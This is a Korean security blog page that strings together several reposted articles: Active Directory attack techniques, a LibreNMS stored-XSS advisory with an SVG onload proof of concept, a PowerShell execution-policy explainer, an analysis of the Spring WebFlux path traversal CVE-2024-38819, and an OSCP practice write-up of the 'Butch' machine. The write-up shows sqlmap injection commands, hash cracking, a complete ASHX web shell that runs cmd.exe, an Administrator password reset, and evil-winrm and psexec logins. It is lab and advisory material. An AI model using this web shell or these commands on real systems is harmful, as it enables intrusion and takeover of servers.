https://ggonmerr.tistory.com/247

 

AD(Active Directory) 공격

1. AD (Active Directory) - 계정 정보와 컴퓨터에 대한 정보, 회사에서 강제하고자 하는 정책들(비밀번호 정책, 화면 보호기 설정 등)에 대한 정보를 저장하고 있는 일종의 데이터베이스 - 중앙에서 서

ggonmerr.tistory.com

 

1. AD (Active Directory)

- 계정 정보와 컴퓨터에 대한 정보, 회사에서 강제하고자 하는 정책들(비밀번호 정책, 화면 보호기 설정 등)에 대한 정보를 저장하고 있는 일종의 데이터베이스

- 중앙에서 서버, 사용자 등 시스템 전반에 접근이 가능하므로, 공격자들의 주요 공격 목표가 되며, AD 계정과 접근권한 탈취 시 전체 내부망이 장악당할 수 있음

 

2. 공격유형

2.1 DCSync [2][3]

- 일반적으로 AD 환경에는 여러 DC가 포함되며, 각각의 DC는 사용자 자격 증명 업데이트와 같은 변경 사항의 상호 업데이트를 통해 동기화 유지

- 도메인 복제 권한을 보유한 특정 계정의 액세스 권한을 획득한 공격자가 DC를 가장해 정상적인 DC와 동기화를 수행

- Mimikatz의 기능 중 하나

- 정상적인 AD 통신을 악용한 공격으로 탐지 및 조치가 쉽지 않으며, 엄격한 계정 관리가 필요

 

2.2 DCShadow [4][5]

- 공격자가 탈취한 계정을 이용해 AD에 악성 도메인 컨트롤러를 등록하는 공격

- Mimikatz의 기능 중 하나

- 정상적인 AD 통신을 악용한 공격으로 탐지 및 조치가 쉽지 않으며, 엄격한 계정 관리가 필요

 

2.3 Password spray [6][7]

- AD 내 계정을 대상으로 계정당 하나의 암호를 대입하는 공격

- 계정당 암호를 한 번만 대입하기에, 무차별 대입 공격과 차이를 가지며 계정 잠금을 유발하지 않음

- 계정 설정 시 강력한 암호 정책 적용 및 비밀번호 재사용 금지 등의 정책 적용

 

2.4 Pass-the-Hash [8][9]

- Hash 된 비밀번호를 이용하는 방법으로, 공격자는 비밀번호 자체를 몰라도 접속 인증을 통과할 수 있음

- 특정 계정의 비밀번호 Hash를 획득한 후 새로운 세션을 만들어 획득한 Hash를 이용해 접속

- 공격자 시스템의 메모리 영역(ex. LSASS_사용자 인증을 위해 사용하는 프로세스)에 Hash를 미리 로드한 후, 서버에 접속

- 관리자 권한의 사용자 수 제한, 권한 분리, 최소 권한 부여 등의 정책 적용

 

2.5 Pass-the-Ticket  [10]

- 최근 AD 환경은 티켓 기반 인증 프로토콜인 Kerberos 인증을 사용

- 공격자는 Mimikatz 등으로 탈취한 Kerberos Ticket을 사용해 AD인증 시도

- 관리자 및 서비스 계정에 강력한 암호 적용, 유출된 암호 제거 등 적용

 

2.6 Golden ticket [11]

- 공격자가 TGT(Ticket Granting Ticket)를 KDC를 통하지 않고 만들어내는 액티브 디렉토리 지속성 공격

- 도메인 어드민이나 KRBTGT(KDC 서비스 계정) 유저를 장악한 뒤 진행

- AD의 기본 인증 프로토콜인 커버로스 인증은 ‘KRBTGT 암호 해시로 암호화된 모든 TGT는 정상적인 TGT’라는 전제로 구축

- KRBTGT 비밀번호 주기적 변경 등 적용

 

2.7 Service Principal Name (SPN) [12]

- SPN(Service Principal Name)은 Active Directory의 서비스 인스턴스에 대한 특수 식별자

- 커버로스는 기본적으로 어떤 도메인 유저던 간에 SPN 특성이 존재하는 서비스 유저를 상대로 한 Service Ticket을 TGS(Ticket Granting Service)를 통해 요청하고 받음

- 해당 티켓은 서비스 유저의 NTLM 해시로 암호화되어 있음

- KRB_TGS_REPTGS를 받아 서비스 티켓을 추출한 뒤, 이를 메모리상에서 빼내서 오프라인 브루트 포스 공격을 감행해 TGS가 복호화가 된다면 서비스 유저의 비밀번호를 찾아내는 공격

- 불필요한 커버로스 티켓 요청 등 모니터링, 사용자 비밀번호 변경 등 적용

 

2.8 AdminCount [13]

- AdminCount는 Active Directory 속성 중 하나로 <NOT SET>을 기본값으로 가지나 Domain Admins와 같은 보호된 그룹에 사용자가 추가될 경우 값이 1로 업데이트

- 공격자는 해당 값을 모니터링하여 관리 권한이 있는 개체를 식별

- 강력한 암호 사용, AdminCount 1 설정된 계정 모니터링 등 적용

 

2.9 AdminSDHolder [14][15]

- AdminSDHolder 개체에는 고유의 ACL이 있으며, 이 ACL은 보호된 그룹의 권한을 제어하는데 사용

- SDProp(Security Descriptor Propagation) 프로세스를 악용

- SDProp이란 60분마다 실행되어 AdminSDHolder 개체의 ACL을 AdminCount 특성이 "1"로 설정된 모든 사용자 및 그룹에 복사

- 공격자는 취약한 관리자 계정을 탈취해 일반 계정의 AdminCount를 1로 설정한 후 SDProp를 사용해 ACL을 덮어씀

- 강력한 암호 사용, AdminCount 1 설정된 계정 모니터링 등 적용

 

3. 참고

[1] https://www.bleepingcomputer.com/news/security/the-attacks-that-can-target-your-windows-active-directory/
[2] https://www.xn--hy1b43d247a.com/credential-access/dcsync
[3] https://blog.netwrix.com/2021/11/30/what-is-dcsync-an-introduction/
[4] https://www.dcshadow.com/
[5] https://blog.netwrix.com/2022/09/28/dcshadow_attack/
[6] https://m.blog.naver.com/quest_kor/221653929403
[7] https://www.xn--hy1b43d247a.com/credential-access/password-spraying
[8] https://blog.naver.com/aepkoreanet/221443237165
[9] https://www.beyondtrust.com/resources/glossary/pass-the-hash-pth-attack
[10] https://www.netwrix.com/pass_the_ticket.html
[11] https://toad.co.kr/it/?idx=13330621&bmode=view
[12] https://www.xn--hy1b43d247a.com/credential-access/kerberos/kerberoasting
[13] https://blog.netwrix.com/2022/09/30/admincount_attribute/
[14] https://www.netwrix.com/adminsdholder_modification_ad_persistence.html
[15] https://www.itgeared.com/ad-permissions-resetting-review-of/

블로그 이미지

wtdsoul

,

https://github.com/advisories/GHSA-x8gm-j36p-fppf

 

CVE-2024-47528 - GitHub Advisory Database

LibreNMS vulnerable to Stored Cross-site Scripting via File Upload

github.com

 

Description

Summary

Stored Cross-Site Scripting (XSS) can archive via Uploading a new Background for a Custom Map.

Details

Users with "admin" role can set background for a custom map, this allow the upload of SVG file that can contain XSS payload which will trigger onload. This led to Stored Cross-Site Scripting (XSS).

PoC

  1. Login using an Admin role account.
  2. Go over to "$URL/maps/custom", the Manage Custom Maps.
  3. Create a new map then choose to edit it.
  4. Choose the "Set Background" option.
  5. Choose to upload a SVG file that have this content.
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <circle cx="50" cy="50" r="40" />
</svg>
  1. Once uploaded, there should be a link to the SVG return in the POST request to the API "$URL/maps/custom/1/background".
  2. Go over to that link on browser, should see a pop-up.

Impact

Attacker can use this to perform malicious java script code for malicious intent.
This would impact other Admin role users and the Global Read role users. Normal users does not have permission to read the file, so they are not affected.

References

블로그 이미지

wtdsoul

,

https://m.blog.naver.com/vanstraat/221732533202

 

Powershell 파워쉘 실행정책 - Execution Policy

파워쉘을 사용하다보면 외부에서 가져온 스크립트를 실행할 때 아래와 같은 오류를 경험하곤 합니다. 이 시...

blog.naver.com

파워쉘을 사용하다보면 외부에서 가져온 스크립트를 실행할 때 아래와 같은 오류를 경험하곤 합니다.

이 시스템에서 스크립트를 실행할 수 없으므로 ~~~파일을 로드할 수 없습니다

~~~ canno be loaded because running script is disabled on this system

위의 오류 메시지는 Execution Policy(실행정책)와 관련된 것으로, Execution Policy는 파워쉘이 가진 첫번재 보안 방식 중 하나이며, 파워쉘이 실행할 스크립트 제어와 관련된 설정으로 이해하시면 됩니다. 그런데 Powershell의 Execution Policy와 관련된 상세한 내용이 많지 않아 정리를 한번 해보려고 합니다.

Get-ExecutionPolicy

가장 먼저 컴퓨터의 실행정책이 어떻게 설정되어 있는지 확인해야 한다면, Powershell 콘솔을 열고 아래와 같은 명령으로 현재 컴퓨터의 설정값을 확인할 수 있습니다.

Get-ExecutionPolicy

별다른 설정 변경을 하지 않았다면, Windows 10 PC에서는 Restricted로 보입니다.

Get-ExecutionPolicy에 아무런 argument를 입력하지 않으면 아래처럼 기본값이 보입니다. 기본적으로 LocalMachine의 scope를 대상으로 보여줍니다.

그런데 만약 Get-ExecutionPolicy-List 인수를 추가한다면 전체 scope별로 ExecutionPolicy를 확인할 수 있습니다.

 

ExecutionPolicy의 scope은 5가지 종류가 있으며, 가장 기본이 되는 것은 맨 마지막의 LocalMachine 입니다. 각각의 설정 값은 레지스트리에서도 확인이 가능합니다.

1. MachinePolicy : GPO의 컴퓨터 정책을 통해 설정하는 경우

HKLM:\Software\Policies\Microsoft\Windows\Powershell 에 저장됨 (없으면 Undefined 임)

2. UserPolicy : GPO의 사용자 정책을 통해 설정하는 경우

HKCU:\Software\Policies\Microsoft\Windows\Powershell 에 저장됨 (없으면 Undefined 임)

3. Process : 현재 실행 중인 파워쉘 세션에만 적용되는 실행정책

4. CurrentUser : 현재 사용자에 적용되는 실행정책

HKCU:\Software\Microsoft\Powershell\1\ShellIds 에 저장됨 (없으면 Undefined 임)

5. LocalMachine : 로컬 컴퓨터에 적용되는 실행정책

HKLM:\Software\Microsoft\Powershell\1\ShellIds 에 저장됨 (없으면 Undefined 임)

그럼 ExecutionPolicy가 가질 수 있는 5개(Undefined까지 총 6개)의 값이 어떤 의미인지 살펴보겠습니다.

Undefined

ExecutionPolicy를 설정하지 않았다는 의미이며, 기본 정책인 "Restricted"로 작동합니다.

Restricted

Windows 10의 ExecutionPolicy 기본 값이며, 이 경우 스크립트(~.ps1) 파일이 실행되지 않습니다. 단, Microsoft에서 만든 일부 스크립트 파일들은 실행이 가능하기도 한데, Microsoft에서 서명된 것이기 때문이 아닐까 합니다.

Unrestricted

이 설정은 Microsoft에서도 권장하지 않는 옵션인데, 모든 스크립트(서명되지 않은 스크립트 포함)를 실행할 수 있습니다. 악성코드를 실행시킬 수도 있기 때문에 왠만하면 사용하지 않는 것이 좋을 듯 합니다.

AllSigned

신뢰할 수 있는 인증기관이 서명한 스크립만 실행하는 옵션으로 보안이 가장 높지만, 해당 컴퓨터에서 작성된 스크립트라 하더라도 신뢰할 수 있는 인증기관이 서명하지 않았다면 실행이 불가능합니다.

Bypass

이 값은 다른 어플리케이션 내에 파워쉘 스크립트가 내장되거나, 별도의 자체 보안 설정을 갖추었을때 사용하기 위해 만들어졌으며, 차단되거나 별다른 경고 없이 실행됩니다.

RemoteSigned

이 값은 최신 Windows Server 버전(Windows Server 2012 R2 이후)의 Powershell 실행정책 기본값입니다.

해당 로컬 컴퓨터에서 에서 작성된 모든 스크립트는 실행이 가능하며, 인터넷에서 다운로드(IE, 크롬, 파이어폭스, 아웃룩 등)한 스크립트는 인증기관이 발행한 코드로 서명되어야만 실행이 가능합니다. 인터넷 이외의 소스로부터 다운로드 받거나 서명은 되었지만 악의적인 목적이 있는 스크립트는 위험이 있을 수도 있습니다.

Microsoft Windows PowerShell 팀에서 권장할 만큼 가장 많이 설정되는 값이며, 보안과 편리함의 균형을 어느정도 확보할 수 있습니담. 하지만 스크립트가 반드시 실행되어야 하는 컴퓨터에서만 사용하는 것이 바람직합니다.

위의 6가지 실행정책 값을 잘 읽어보셨다면 느끼셨을지도 모르지겠지만, ExecutionPolicy는 완벽한 보안이 될 수는 없다고 생각합니다. 그래서 일부 전문가분들은 자체적으로 보안에 더 신경을 쓰도록 Unrestricted로 설정할 것을 추천하기도 합니다. 보안을 생각한다면 ExecutionPolicy에만 의존하지 말아야 하겠습니다.

ExecutionPolicy 값 변경

기존의 ExecutionPolicy의 값을 변경하고자 한다면 크게 2가지의 방법이 있습니다.

첫번째는 Set-ExecutionPolicy cmdlet을 사용하는 방법입니다.

두번째는 Powershell.exe 실행 시 -ExecutionPolicy 옵션을 같이 사용하여 실행하는 방법입니다.

Set-ExecutionPolicy

Powershell 콘솔을 관리자 권한으로 실행 후, 아래와 같이 Set-ExecutionPolicy에 변경하고자 하는 실행정책 값을 입력하면 변경이 됩니다.

Set-ExecutionPolicy RemoteSigned
 

scope을 지정하지 않으면 기본적으로 LocalMachine에 적용되며, MachinePolicy, UserPolicy는 이 명령으로 변경이 불가능하며, 그룹정책GPO으로만 변경이 가능합니다.

아래와 같이 scope을 지정하여 변경할 수도 있습니다.

Set-ExecutionPolicy -scope CurrentUser RemoteSigned

Powershell.exe 실행 시 -ExecutionPolicy 옵션 사용

Powershell.exe 실행 시 -ExecutionPolicy 옵션을 함께 사용하면 실행정책이 GPO 혹은 로컬정책으로 적용되었다 하더라도 우선시 되며, 해당 Powershell 세션에서만 유효합니다.

아래 그림을 보면 잘 이해가 되실 것 같은데요, 현재 process scope의 실행정책은 Undefined로 설정이 되어 있습니다. 하지만 Powershell 실행 시 ExecutionPolicy를 Restricted로 지정하여 실행 ExecutionPolicy를 조회해 보면 현재 세션인 process scope의 ExecutionPolicy는 Restricted로 변경되어 있습니다.

현재 세선을 종료(exit)하면, 다시 ExecutionPolicy는 Undefined로 복귀된 것을 확인할 수 있습니다.

위에서도 잠시 언급했듯이, ExecutionPolicy는 완벽한 보안이 될 수 없습니다.

아무리 GPO를 통해 혹은 로컬정책을 통해 ExecutionPolicy를 지정한다 하더라도, Powershell 실행 시 옵션을 변경하여 실행한다면 모든 실행정책보다 우선하여 실행시킬 수도 있습니다.

이러한 내용이 뜻하는 바는 Powershell의 ExecutionPolicy는 완벽한 보안정책이 아니라, 사용자가 외부에서 다운받은 스크립트를 의도치 않게 무분별하게 실행하는 것을 방지하기 위한 것이라는 것입니다.

마지막으로 Execution Policy의 기본값은 OS별로 상이하며, Microsoft 문서에서도 이와 관련하여 명확하게 기술된 문서를 찾지는 못했는데, 제가 확인한 바에 의하면 아래와 같습니다.

- Windows 7, Windows 8, Windows 10 : Restricted

- Windows Server 2008, 2008 R2, 2012 : Restricted

- Windows Server 2012 R2, 2016, 2019 : RemoteSigned

기본적으로 최근 출시되는 서버 OS는 기본적으로 스크립트 사용이 가능하도록 설정되어 있는 반면, 클라이언트 OS는 사용이 불가능하게 설정되어 있습니다.

혹시 위 내용이 잘못되었다면 댓글 달아주세요.

"이 시스템에서 스크립트를 실행할 수 없으므로 ~~~파일을 로드할 수 없습니다"

"~~~ canno be loaded because running script is disabled on this system"

'경로 및 정보' 카테고리의 다른 글

AD(Active Directory) 공격  (0) 2025.10.07
Fileuplad via Stored XSS  (0) 2025.10.07
CVE-2024-38819  (0) 2025.09.08
Proving Grounds: Butch [OSCP Prep 2025 — Practice 14]  (0) 2025.08.31
What is Azure Application Gateway v2  (2) 2025.06.06
블로그 이미지

wtdsoul

,

CVE-2024-38819

경로 및 정보 2025. 9. 8. 15:11


01. File-Traversal와 Webflux 개요

  • 1) File-Traversal과 WebFlux 개요

    File-Traversal(경로 탐색, Path Traversal) 취약점은 공격자가 웹 애플리케이션에서 파일 시스템의 권한을 우회하여 임의의 파일에 접근할 수 있도록 하는 취약점 이며 CWE-22로 지정 되어있는 공격의 일종 입니다.CVE-2024-38819은 WebFlux.fn, WebMVC.fn를 사용하는 애플리케이션에서 발생하며 본 문서는 해당 취약점이 WebFlux기준으로 어떻게 발생하는지 코드 흐름을 살펴보고 이에 따른 대응 방안을 모색 해보고자 합니다.
  • Spring WebFlux는 Spring 5에서 도입된 리액티브 프로그래밍을 지원하는 모듈로, 비동기 논블로킹 애플리케이션 개발을 지원하며 WebFlux.fn은 함수형 엔드포인트 라우팅을 제공하여, 람다 표현식을 사용한 간결하고 유연한 라우팅 구성을 지원합니다.

02. Webflux 6.13환경의 File-Traversal 취약점 분석

  • 2.1 Webflux 6.13을 이용한 File-Traversal 분석

    Spring Webflux 6.13 에서 **정적 리소스(static resource)**를 서빙(Serving)하는 예제를 통해 File-Traversal 공격을 할수 있다.
    예제를 살펴 보며 Spring Webflux를 이용해 어떻게 File-Traversal 유발 되는지 알아보고자 한다.

1) Spring Webflux 6.13 활용한 File-Traversal 공격 흐름

[그림 1] FileApplication.java

[그림 1]은 Spring WebFlux에서 /static/**로 들어오는 모든 요청을 서버의 C:/file 디렉터리에서 찾아 서빙(Serving) 합니다. 여기서
RouterFunctions.resources 호출 중에 [그림 2], [그림 3] webflux 의 PathResourceLookupFunction.class 에서 의 문제가 시작됩니다.

[그림 2] PathResourceLookupFunction.class - apply

[그림 2] PathResourceLookupFunction - apply은 Spring WebFlux에서 주어진 경로가 유효한 리소스를 가리키는지 확인하고, 해당 리소스를
Mono 형태로 반환하는 역할을 합니다. 이 과정에서 경로 매칭, 유효성 검사, 경로 디코딩, 리소스 접근 등의 여러 단계를 수행 중 isInvalidPath
함수 에서 취약점이 발생합니다.

[그림 3] PathResourceLookupFunction.class - isInvalidPath

[그림 3] PathResourceLookupFunction - isInvalidPath를 보면 StringUtils.cleanPath(path).contains("../") 해당 조건이 존재 하는데
http://localhost:8080/static/file/../Windows/System32/drivers/etc/hosts 요청 시 해당 조건은 True가 될 수 없습니다. 이유로

[그림 4] StringUtils.class - cleanPath

[그림 4] StringUtils.class - cleanPath 보면 StringUtils.cleanPath(path)는 TOP_PATH("..")를 제거 후 경로를 pathElements에 넣고 top은 0이 됨으로
".."가 1번 들어간 공격 구문은 정상 구문으로 처리 됩니다. 그러하여 [그림 3]의 isInvalidPath의 함수는 false를 리턴하고

[그림 5] PathResourceLookupFunction.class - apply - 2

[그림 6] PathResourceLookupFunction.class - isResourceUnderLocation

[그림 5] 의 isResourceUnderLocation의 cleanPath 호출로 [그림 6]을 통해 cleanPath를 통한 또 한번의 검증을 거치게 되며 [그림 5]에서 넘긴 경로는 C:/file../Windows/System32/drivers/etc/hosts 이며

[그림 7] StringUtils.class - cleanPath -2

[그림 7] 의 코드를 통해 prefix는 C:/ 가 되며 경로는 [그림 4]를 통해/ Windows/System32/drivers/etc/hosts로 변경 되어 최종 리턴은
C:/Windows/System32/drivers/etc/hosts로 처리 되는 흐름 입니다.

2) Spring Webflux 6.13 활용한 File-Traversal 공격 예시

현재는 윈도우에서 C:/file로 테스트를 진행하였지만 해당 케이스가 리눅스 에 심볼릭 링크와 함께 동작 시 매우 위험하다.
(../../ 두번 설정 시 정상 로직 ../ 한번 일 경우만 취약점 발생) 

2-1) Spring Webflux 6.13 활용한 File-Traversal 공격 예시2

리눅스 서버에 심볼릭 링크와 함께 공격

 public RouterFunction<ServerResponse> staticResourceRouter() {
     return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
 }
 

심볼릭 링크 추가 ln -s /static /app/static/link 후 공격 

03. 대응 방안

지금까지 Spring Webflux환경에서 File Traversal(CVE-2024-38819)이 수행되는 흐름을 체크 해봤습니다. 서버의 정보가 탈취 당하는 공격 방식이기에 대응 방안이 중요합니다. 이를 위해 최신 버전 업데이트, 추가 검수 로직 제작, IPS를 통한 차단 방안을 제시 하고자 합니다.

  • Spring Framework 업데이트

    아래 표를 참고 하고 사용 버전을 체크 후 업그레이드 해주시기 바랍니다.
  • 추가 검수 로직 제작 예시

    위 공격 예시를 보다시피 TOP_PATH(..)가 한번 포함 된 케이스가 문제 됨으로 간략한 필터 적용 로직(참고 후 개발자 분들이 더 추가)
    @Bean
    public RouterFunction<ServerResponse> staticResourceRouter() {    
      return RouterFunctions.resources("/static/**", new FileSystemResource("C:/file"))
              .filter((request, next) -> {
                  String path = request.path();
                  if (path.contains("..")) {
                     if(!StringUtils.cleanPath(path).contains("../")) {
                         return ServerResponse.status(HttpStatus.FORBIDDEN).bodyValue("Vuln path access.");
                     }        
                  }
                  return next.handle(request);
              });
    }
    
     
  • IPS 를 통한 차단

    공격 예시 : 포스트 맨을 통해 url에 ../ 경로를 포함 하여 요청

../ 상위 경로의 이동을 유발하는 url 요청을 전부 차단

 

 

04. 결론

지금까지 Webflux를 통한 File Tarversal을 알아 봤습니다. 해당 취약점은 StringUtils.cleanPath()의 로직에서 비롯된 문제를 인지 못하고 사용한 경우 였습니다.

05. 참고자료

(POC) https://github.com/masa42/CVE-2024-38819-POC
(스프링 공식) https://spring.io/security/cve-2024-38819
(CVE-DETAIL) https://www.cvedetails.com/cve/CVE-2024-38819/
(NIST) https://nvd.nist.gov/vuln/detail/cve-2024-38819

블로그 이미지

wtdsoul

,

Introduction

This is my fourteenth writeup in the Proving Grounds series, which is part of my learning roadmap before taking the OSCP exam. This machine is called Butch, categorized as Intermediate, and runs on the Windows operating system.

Target IP:

192.168.*.63

Tools:

  1. Rustscan (https://github.com/RustScan/RustScan)
  2. AutoRecon (https://github.com/Tib3rius/AutoRecon)
  3. Webshell .ashx (https://github.com/yangbaopeng/ashx_webshel)
  4. Hashcat (https://github.com/hashcat/hashcat)
  5. SQLMap (https://github.com/sqlmapproject/sqlmap)

Reconnaissance:

The first and most important step in penetration testing is information gathering/reconnaissance. Here, I started with port scanning using Rustscan. For a more effective reconnaissance process, I also utilize AutoRecon, which runs if the results of the basic recon are not helpful.

Command: rustscan -a 192.168.244.63 -- -sV -oN nmap.txt

Press enter or click to view image in full size

The port scanning results showed several open ports, including:

  • 21 (FTP): ftpd
  • 25 (SMTP): ESMTP 10.0.17763.1
  • 135 (MSRPC): RPC
  • 139 (NETBIOS): netbios-ssn
  • 445 (SMB): SMB
  • 450 (HTTP): IIS httpd.10.0
  • 5985 (WinRM): WinRM

Out of these, I attempted to access services anonymously or without credentials, such as FTP and SMB, but was unable to gain access.

Next, I tried accessing the HTTP service on port 450. Upon accessing it, I encountered a login page, as shown in the evidence below.

Press enter or click to view image in full size

Since the login credentials were unknown, I proceeded to perform directory fuzzing using dirsearch.

Command: python3 ~/Desktop/Tools/dirsearch/dirsearch.py -u http://192.168.244.63:450/ -e* -x 400,404 --output-file dirsearch.txt

Press enter or click to view image in full size

During fuzzing, I discovered a directory at /dev/. Accessing this path revealed a directory listing. However, it did not contain any sensitive information that could be leveraged for gaining access.

Press enter or click to view image in full size

I then shifted my focus to the login feature. Since common login forms are often vulnerable to SQL Injection, I tested the input by adding a single quote (') to trigger an error. As expected, the login form returned a SQL syntax error, indicating a potential SQL Injection vulnerability.

Press enter or click to view image in full size

I attempted several boolean-based SQL Injection payloads to bypass the login, but they were unsuccessful.

As the next step, I decided to dump the database. To speed up the data exfiltration process, I used SQLmap.

Dump Database Name

Command: sqlmap -r login.txt — dbms=mssql — dbs — technique=t — risk 3 — level 5

Press enter or click to view image in full size

The database dump revealed four databases, even though the initial enumeration with SQLmap indicated that there should be five databases. This suggests that one database was not successfully dumped.

I decided to start by dumping the master database to look for any credentials.

Dump Credentials from master.sys.sql_logins

Command: sqlmap -r login.txt — dbms=mssql -D master -T sys.sql_logins — dump — technique=t — risk 3 — level 5

Press enter or click to view image in full size

From the dump results, I didn’t find any password_hash or credential data. However, I did discover that the user butch had a default_database_name set to "butch", which suggests that the missing fifth database might be named butch.

With the information gathered earlier, I was able to dump the previously missing database — butch.

Dump Database “butch”

Command: sqlmap -r login.txt — dbms=mssql -D butch — tables — technique=t — risk 3 — level 5

Press enter or click to view image in full size

Dump Table “users” from database “butch”

Command: sqlmap -r login.txt — dbms=mssql -D butch -T users — dump — technique=t — risk 3 — level 5

Press enter or click to view image in full size

Inside this database, I found a password hash belonging to the user butch. After identifying the hash format, it appeared to be SHA-256.

I then attempted to crack the hash using Hashcat with the rockyou.txt wordlist.

Command: hashcat.exe -m 1400 hash.txt “D:\Wordlists\rockyou.txt”

Press enter or click to view image in full size

The cracking process was successful, revealing the plaintext password:awesomedude .

Initial Access:

Using the credentials obtained earlier — butch:awesomedude — I successfully logged in to the web application.

Press enter or click to view image in full size

The application included a file upload feature, and since it seemed to function as a repository, I first tested it by uploading a simple TXT file.

The TXT file uploaded successfully, but the storage directory was not immediately apparent. I then tried to directly access the file at: http://192.168.244.63:450/tes.txt —and it worked!

Press enter or click to view image in full size

With the file storage location confirmed, the next step was to upload a web shell to gain remote access.

I attempted to upload webshell files with extensions .aspx and .asp, but both failed — the server responded with "Invalid file format".

To bypass the upload restriction, I tried using an alternative extension: .ashx.

Below is the content of the ASHX webshell, sourced from: https://github.com/yangbaopeng/ashx_webshell

<% @ webhandler language="C#" class="AverageHandler" %>

using System;
using System.Web;
using System.Diagnostics;
using System.IO;

public class AverageHandler : IHttpHandler
{
  /* .Net requires this to be implemented */
  public bool IsReusable
  {
    get { return true; }
  }

  /* main executing code */
  public void ProcessRequest(HttpContext ctx)
  {
    Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" +   HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);
    string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");

    ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>");
    ctx.Response.Write("<hr>");
    ctx.Response.Write("<pre>");

    /* command execution and output retrieval */
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c "+command;
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();

    ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
    ctx.Response.Write("</pre>");
    ctx.Response.Write("<hr>");
    ctx.Response.Write("By http://www.twitter.com/Hypn'>@Hypn, for educational purposes only.");
 }
}

I uploaded the ASHX webshell, and it was successfully accepted!

I then accessed it via: http://192.168.244.63:450/shell.ashx —and the webshell was fully functional.

Press enter or click to view image in full size

Privilege Escalation:

Interestingly, privilege escalation was not necessary, as the webshell was already running under the NT AUTHORITY\SYSTEM user.

However, there were some limitations — the shell was unstable and couldn’t reliably execute actions such as running .exe files for a reverse shell or performing more complex tasks.

To obtain a stable interactive shell, I took advantage of the NT AUTHORITY\SYSTEM privileges to change the password for the built-in Administrator account.

Command: net user administrator P@ssw0rd!

Press enter or click to view image in full size

Once the password was updated, I was able to gain full access by using tools like Evil-WinRM or Impacket’s psexec.py, both of which provided a proper interactive shell with full administrative privileges.

Evil-WinRM

Command: evil-winrm -i 192.168.244.63 -u ‘administrator’ -p ‘P@ssw0rd!’

Press enter or click to view image in full size

Impacket PsExec

Command: impacket-psexec Administrator:’P@ssw0rd!’@192.168.244.63

Post Exploitation:

Read local.txt: e6c3ad743b48e649300a2393316e80da

Read proof.txt: d57bb84e4ef2ca0b0f6211ca6c9040bc

Closing Remarks:

Thank you for reading my writeup. I hope it is helpful to all of you. I apologize for any mistakes in my writing. I appreciate any feedback or suggestions to help me improve in the future.

블로그 이미지

wtdsoul

,

https://github.com/MicrosoftDocs/azure-docs/blob/main/articles/application-gateway/overview-v2.md

 

azure-docs/articles/application-gateway/overview-v2.md at main · MicrosoftDocs/azure-docs

Open source documentation of Microsoft Azure. Contribute to MicrosoftDocs/azure-docs development by creating an account on GitHub.

github.com

 

titledescriptionservicesauthorms.servicems.topicms.datems.authorms.custom

What is Azure Application Gateway v2?
Learn about Azure application Gateway v2 features.
application-gateway
mbender-ms
azure-application-gateway
overview
10/02/2024
mbender
references_regions, devx-track-azurepowershell

Application Gateway v2 is the latest version of Application Gateway. It provides advantages over Application Gateway v1 such as performance enhancements, autoscaling, zone redundancy, and static VIPs.

Important

Deprecation of Application Gateway V1 was announced on April 28, 2023. If you use Application Gateway V1 SKU, start planning your migration to V2 now and complete your migration to Application Gateway v2 by April 28, 2026. The v1 service isn't supported after this date.

Key capabilities

The v2 SKU includes the following enhancements:

  • TCP/TLS proxy (Preview): Azure Application Gateway now also supports Layer 4 (TCP protocol) and TLS (Transport Layer Security) proxying. This feature is currently in public preview. For more information, see Application Gateway TCP/TLS proxy overview.
  • Autoscaling: Application Gateway or WAF deployments under the autoscaling SKU can scale out or in based on changing traffic load patterns. Autoscaling also removes the requirement to choose a deployment size or instance count during provisioning. This SKU offers true elasticity. In the Standard_v2 and WAF_v2 SKU, Application Gateway can operate both in fixed capacity (autoscaling disabled) and in autoscaling enabled mode. Fixed capacity mode is useful for scenarios with consistent and predictable workloads. Autoscaling mode is beneficial in applications that see variance in application traffic.
  • Zone redundancy: An Application Gateway or WAF deployment can span multiple Availability Zones, removing the need to provision separate Application Gateway instances in each zone with a Traffic Manager. You can choose a single zone or multiple zones where Application Gateway instances are deployed, which makes it more resilient to zone failure. The backend pool for applications can be similarly distributed across availability zones.
  • Zone redundancy is available only where Azure availability zones are available. In other regions, all other features are supported. For more information, see Azure regions with availability zone support.
  • Static VIP: Application Gateway v2 SKU supports the static VIP type exclusively. Static VIP ensures that the VIP associated with the application gateway doesn't change for the lifecycle of the deployment, even after a restart. You must use the application gateway URL for domain name routing to App Services via the application gateway, as v1 doesn't have a static VIP.
  • Header Rewrite: Application Gateway allows you to add, remove, or update HTTP request and response headers with v2 SKU. For more information, see Rewrite HTTP headers with Application Gateway
  • Key Vault Integration: Application Gateway v2 supports integration with Key Vault for server certificates that are attached to HTTPS enabled listeners. For more information, see TLS termination with Key Vault certificates.
  • Mutual Authentication (mTLS): Application Gateway v2 supports authentication of client requests. For more information, see Overview of mutual authentication with Application Gateway.
  • Azure Kubernetes Service Ingress Controller: The Application Gateway v2 Ingress Controller allows the Azure Application Gateway to be used as the ingress for an Azure Kubernetes Service (AKS) known as AKS Cluster. For more information, see What is Application Gateway Ingress Controller.
  • Private link: The v2 SKU offers private connectivity from other virtual networks in other regions and subscriptions by using private endpoints.
  • Performance enhancements: The v2 SKU offers up to 5X better TLS offload performance as compared to the Standard/WAF SKU.
  • Faster deployment and update time: The v2 SKU provides faster deployment and update time as compared to Standard/WAF SKU. The faster time also includes WAF configuration changes.

Note

Some of the capabilities listed here are dependent on the SKU type.

SKU types

Application Gateway v2 is available under two SKUs:

  • Basic (preview): The Basic SKU is designed for applications that have lower traffic and SLA requirements, and don't need advanced traffic management features. For information on how to register for the public preview of Application Gateway Basic SKU, see Register for the preview.
  • Standard_v2 SKU: The Standard_v2 SKU is designed for running production workloads and high traffic. It also includes autoscaling, which can automatically adjust the number of instances to match your traffic needs.

The following table displays a comparison between Basic and Standard_v2.

FeatureCapabilitiesBasic SKU (preview)Standard SKU

Reliability SLA 99.9 99.95
